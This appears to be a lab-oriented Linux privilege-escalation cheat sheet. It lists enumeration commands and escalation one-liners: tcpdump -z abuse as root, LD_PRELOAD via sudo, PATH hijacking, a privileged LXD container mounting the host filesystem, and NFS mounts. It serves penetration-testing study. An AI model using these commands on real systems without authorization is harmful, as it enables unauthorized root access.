PRIV ^: Privilege Escalation

Linux Privilege Escalation

Linux privesc quick-reference: sudo, SUID/SGID, cron, LD_PRELOAD, LXD, NFS, capabilities and kernel.

intermediate updated 2026-08-09 linPEAS · pspy · GTFOBins

Linux Privilege Escalation

A dense command checklist for enumerating and exploiting privilege-escalation paths on Linux. Enumerate first (linPEAS / pspy), then map any finding against GTFOBins.

Enumeration

CommandDescription
ssh htb-student@<target IP>SSH to lab target
ps aux | grep rootSee processes running as root
ps auSee logged in users
ls /homeView user home directories
ls -l ~/.sshCheck for SSH keys for current user
historyCheck the current user’s Bash history
sudo -lCan the user run anything as another user?
ls -la /etc/cron.dailyCheck for daily Cron jobs
lsblkCheck for unmounted file systems/drives
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullFind world-writable directories
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind world-writable files
uname -aCheck the kernel version
cat /etc/lsb-releaseCheck the OS version
screen -vCheck the installed version of screen
./pspy64 -pf -i 1000View running processes with pspy
echo $PATHCheck the current user’s PATH variable contents
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullSearch for config files
./lynis audit systemPerform a system audit with Lynis

Kernel Exploits

CommandDescription
gcc kernel_exploit.c -o kernel_exploitCompile an exploit written in C

SUID / SGID Binaries

CommandDescription
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullFind binaries with the SUID bit set
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullFind binaries with the SETGID bit set
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z rootPriv esc with tcpdump

PATH Abuse

CommandDescription
echo $PATHCheck the current user’s PATH variable contents
PATH=.:${PATH}Add a . to the beginning of the current user’s PATH

Shared Library / LD_PRELOAD

CommandDescription
ldd /bin/lsView the shared objects required by a binary
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restartEscalate privileges using LD_PRELOAD
readelf -d payroll | grep PATHCheck the RUNPATH of a binary
gcc src.c -fPIC -shared -o /development/libshared.soCompile a shared library

LXD / LXC

CommandDescription
lxd initStart the LXD initialization process
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpineImport a local image
lxc init alpine r00t -c security.privileged=trueStart a privileged LXD container
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=trueMount the host file system in a container
lxc start r00tStart the container

NFS

CommandDescription
showmount -e 10.129.2.12Show the NFS export list
sudo mount -t nfs 10.129.2.12:/tmp /mntMount an NFS share locally

Shared tmux Session

CommandDescription
tmux -S /shareds new -s debugsessCreate a shared tmux session socket